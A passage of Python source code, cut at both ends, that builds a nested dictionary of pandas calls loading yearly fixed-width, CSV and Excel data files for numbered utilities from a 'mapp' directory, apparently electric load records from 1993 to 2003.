1994 : pd.read_fwf('%s/mapp/1994/IES94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
1996 : pd.read_fwf('%s/mapp/1996/IESC96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:-1, 1:].replace('.', '0').astype(float).values.ravel(),
1997 : pd.read_fwf('%s/mapp/1997/IES97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:-1, 1:].replace('.', '0').astype(float).values.ravel(),
1998 : pd.read_fwf('%s/mapp/1998/IESC98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel()
},
9417 : {
1993 : pd.read_fwf('%s/mapp/1993/IPW93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1994 : pd.read_fwf('%s/mapp/1994/IPW94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1995 : pd.read_fwf('%s/mapp/1995/IPW95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1996 : pd.read_fwf('%s/mapp/1996/IPW96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1997 : pd.read_fwf('%s/mapp/1997/IPW97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:-1, range(1,13)+range(14,26)].values.ravel(),
1998 : pd.read_fwf('%s/mapp/1998/IPW98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel()
},
9438 : {
1993 : pd.read_fwf('%s/mapp/1993/IIGE93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
1994 : pd.read_fwf('%s/mapp/1994/IIGE94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
1995 : pd.read_fwf('%s/mapp/1995/IIGE95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel()
},
11018 : {
1993 : pd.read_fwf('%s/mapp/1993/LES93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1994 : pd.read_fwf('%s/mapp/1994/LES94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1995 : pd.read_csv('%s/mapp/1995/LES95' % (fulldir)).iloc[:, 1:].values.ravel(),
1996 : pd.read_fwf('%s/mapp/1996/LES96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1997 : pd.read_fwf('%s/mapp/1997/LES97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1998 : pd.read_fwf('%s/mapp/1998/LES98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1999 : pd.read_fwf('%s/mapp/1999/LES99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2000 : pd.read_excel('%s/mapp/2000/LES00' % (fulldir), skipfooter=3).iloc[:, 1:].values.ravel(),
2001 : pd.read_excel('%s/mapp/2001/LES01' % (fulldir), skipfooter=3).iloc[:, 1:].values.ravel(),
2002 : pd.read_fwf('%s/mapp/2002/LES02' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2003 : pd.read_fwf('%s/mapp/2003/LES03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel()
},
12647 : {
1995 : pd.read_fwf('%s/mapp/1995/MPL95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
2000 : pd.read_fwf('%s/mapp/2000/MPL00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
2001 : pd.read_fwf('%s/mapp/2001/MPL01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel()
},
12658 : {
1993 : pd.read_fwf('%s/mapp/1993/MPC93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1994 : pd.read_fwf('%s/mapp/1994/MPC94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1995 : pd.read_fwf('%s/mapp/1995/MPC95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1996 : pd.read_fwf('%s/mapp/1996/MPC96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
1997 : pd.read_fwf('%s/mapp/1997/MPC97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
1998 : pd.read_fwf('%s/mapp/1998/MPC98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
1999 : pd.read_fwf('%s/mapp/1999/MPC99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
2002 : pd.read_fwf('%s/mapp/2002/MPC02' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2003 : pd.read_fwf('%s/mapp/2003/MPC03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel()
},
12819 : {
1993 : pd.read_fwf('%s/mapp/1993/MDU93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1994 : pd.read_fwf('%s/mapp/1994/MDU94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:-1, range(1,13)+range(14,26)].values.ravel(),
1995 : pd.read_fwf('%s/mapp/1995/MDU95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1996 : pd.read_fwf('%s/mapp/1996/MDU96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1997 : pd.read_fwf('%s/mapp/1997/MDU97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1998 : pd.read_fwf('%s/mapp/1998/MDU98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1999 : pd.read_fwf('%s/mapp/1999/MDU99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2002 : pd.read_fwf('%s/mapp/2002/MDU02' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2003 : pd.read_fwf('%s/mapp/2003/MDU03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel()
},
21352 : {
1993 : pd.read_fwf('%s/mapp/1993/MEAN93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
1995 : pd.read_fwf('%s/mapp/1995/MEAN95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).dropna().values.ravel(),
1996 : pd.read_fwf('%s/mapp/1996/MEAN96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).dropna().values.ravel(),
1997 : pd.read_fwf('%s/mapp/1997/MEAN97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).dropna().values.ravel(),
1998 : pd.read_fwf('%s/mapp/1998/MEAN98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).dropna().values.ravel(),
1999 : pd.read_fwf('%s/mapp/1999/MEAN99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).dropna().values.ravel(),
2002 : pd.read_fwf('%s/mapp/2002/MEAN02' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2003 : pd.read_fwf('%s/mapp/2003/MEAN03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel()
},
13143 : {
1993 : pd.read_fwf('%s/mapp/1993/MPW93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1994 : pd.read_fwf('%s/mapp/1994/MPW94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1995 : pd.read_fwf('%s/mapp/1995/MPW95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1996 : pd.read_fwf('%s/mapp/1996/MPW96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1997 : pd.read_fwf('%s/mapp/1997/MPW97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:-1, range(1,13)+range(14,26)].values.ravel(),
1998 : pd.read_fwf('%s/mapp/1998/MPW98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1999 : pd.read_fwf('%s/mapp/1999/MPW99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2002 : pd.read_fwf('%s/mapp/2002/MPW02' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2003 : pd.read_fwf('%s/mapp/2003/MPW03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel()
},
13337 : {
1993 : pd.read_fwf('%s/mapp/1993/NPPD93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
1994 : pd.read_fwf('%s/mapp/1994/NPPD94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
1995 : pd.read_fwf('%s/mapp/1995/NPPD95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=6).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
1996 : pd.read_fwf('%s/mapp/1996/NPPD96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
1997 : pd.read_fwf('%s/mapp/1997/NPPD97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
1998 : pd.read_fwf('%s/mapp/1998/NPPD98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
1999 : pd.read_fwf('%s/mapp/1999/NPPD99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
2000 : pd.read_fwf('%s/mapp/2000/NPPD00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=9, skipfooter=1).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
2001 : pd.read_fwf('%s/mapp/2001/NPPD01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=9, skipfooter=1).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
2002 : pd.read_csv('%s/mapp/2002/NPPD02' % (fulldir), sep='\t', skipinitialspace=True, header=None).iloc[:, 2:].values.ravel(),
2003 : pd.read_fwf('%s/mapp/2003/NPPD03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel()
},
13781 : {
1993 : pd.read_fwf('%s/mapp/1993/NSP93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1994 : pd.read_fwf('%s/mapp/1994/NSP94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1996 : pd.read_fwf('%s/mapp/1996/NSP96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1997 : pd.read_fwf('%s/mapp/1997/NSP97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
1998 : pd.read_fwf('%s/mapp/1998/NSP98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
1999 : pd.read_fwf('%s/mapp/1999/NSP99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
2000 : pd.read_csv('%s/mapp/2000/NSP00' % (fulldir), sep='\t', skipinitialspace=True, skiprows=2, header=None, skipfooter=1)[2].values
},
13809 : {
1993 : pd.read_fwf('%s/mapp/1993/NWPS93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
1995 : pd.read_fwf('%s/mapp/1995/NWPS95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
1996 : pd.read_fwf('%s/mapp/1996/NWPS96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
1997 : pd.read_fwf('%s/mapp/1997/NWPS97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
1998 : pd.read_fwf('%s/mapp/1998/NWPS98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
1999 : pd.read_fwf('%s/mapp/1999/NWPS99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
2002 : pd.read_fwf('%s/mapp/2002/NWPS02' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2003 : pd.read_fwf('%s/mapp/2003/NWPS03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel()
},
14127 : {
1993 : pd.read_fwf('%s/mapp/1993/OPPD93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
1994 : pd.read_fwf('%s/mapp/1994/OPPD94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
1995 : pd.read_csv('%s/mapp/1995/OPPD95' % (fulldir), sep='\t', skipinitialspace=True, header=None).iloc[:, 7:].values.ravel(),
1996 : pd.read_fwf('%s/mapp/1996/OPPD96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
1997 : pd.read_fwf('%s/mapp/1997/OPPD97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
1998 : pd.read_fwf('%s/mapp/1998/OPPD98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
1999 : pd.read_fwf('%s/mapp/1999/OPPD99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
2002 : pd.read_fwf('%s/mapp/2002/OPPD02' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(),
2003 : pd.read_fwf('%s/mapp/2003/OPPD03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].dropna().values.ravel()
},
14232 : {
1993 : pd.read_fwf('%s/mapp/1993/OTP93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
1994 : pd.read_fwf('%s/mapp/1994/OTP94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
1995 : pd.read_csv('%s/mapp/1995/OTP95' % (fulldir), header=None).iloc[:, -2].values.ravel(),
1996 : pd.read_fwf('%s/mapp/1996/OTP96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
1997 : pd.read_fwf('%s/mapp/1997/OTP97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
1998 : pd.read_fwf('%s/mapp/1998/OTP98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
1999 : pd.read_fwf('%s/mapp/1999/OTP99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
2000 : pd.read_fwf('%s/mapp/2000/OTP00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=2).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
2002 : pd.read_fwf('%s/mapp/2002/OTP02' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].dropna().values.ravel(),
2003 : pd.read_fwf('%s/mapp/2003/OTP03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].dropna().values.ravel()
},
40580 : {
1993 : pd.read_fwf('%s/mapp/1993/SMMP93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].dropna().values.ravel(),
1994 : pd.read_fwf('%s/mapp/1994/SMP94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
1996 : pd.read_fwf('%s/mapp/1996/SMMP96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
1997 : pd.read_fwf('%s/mapp/1997/SMMP97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
1998 : pd.read_fwf('%s/mapp/1998/SMMP98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
1999 : pd.read_fwf('%s/mapp/1999/SMMPA99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
2000 : pd.read_csv('%s/mapp/2000/SMMP00' % (fulldir)).iloc[:-1, 3].values,
2001 : pd.read_csv('%s/mapp/2001/SMMP01' % (fulldir), header=None).iloc[:, 2].values,
2002 : pd.read_fwf('%s/mapp/2002/SMMPA02' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].dropna().values.ravel(),
2003 : pd.read_fwf('%s/mapp/2003/SMMPA03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].dropna().values.ravel()
},
19514 : {
1993 : pd.read_fwf('%s/mapp/1993/UPA93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].dropna().values.ravel(),
1994 : pd.read_fwf('%s/mapp/1994/UPA94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].dropna().values.ravel(),
1996 : pd.read_fwf('%s/mapp/1996/UPA96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].dropna().values.ravel(),
1997 : pd.read_fwf('%s/mapp/1997/UPA97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].dropna().values.ravel(),
1998 : pd.read_fwf('%s/mapp/1998/UPA98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].dropna().values.ravel()
},
20858 : {
1993 : pd.read_fwf('%s/mapp/1993/WPPI93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].dropna().values.ravel(),
1994 : pd.read_fwf('%s/mapp/1994/WPPI94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].dropna().values.ravel(),
1996 : pd.read_fwf('%s/mapp/1996/WPPI96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
1997 : pd.read_csv('%s/mapp/1997/WPPI97' % (fulldir), sep=' ', skipinitialspace=True, header=None).iloc[:, 2:-1].values.ravel(),
1998 : pd.read_fwf('%s/mapp/1998/WPPI98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
1999 : pd.read_fwf('%s/mapp/1999/WPPI99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
2002 : pd.read_fwf('%s/mapp/2002/WPPI02' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].dropna().values.ravel(),
2003 : pd.read_fwf('%s/mapp/2003/WPPI03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].dropna().values.ravel()
},
12341 : {
1995 : pd.read_fwf('%s/mapp/1995/MEC95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
1996 : pd.read_fwf('%s/mapp/1996/MEC96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
1997 : pd.read_fwf('%s/mapp/1997/MEC97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].dropna().values.ravel(),
1998 : pd.read_fwf('%s/mapp/1998/MEC98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
1999 : pd.read_fwf('%s/mapp/1999/MEC99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(),
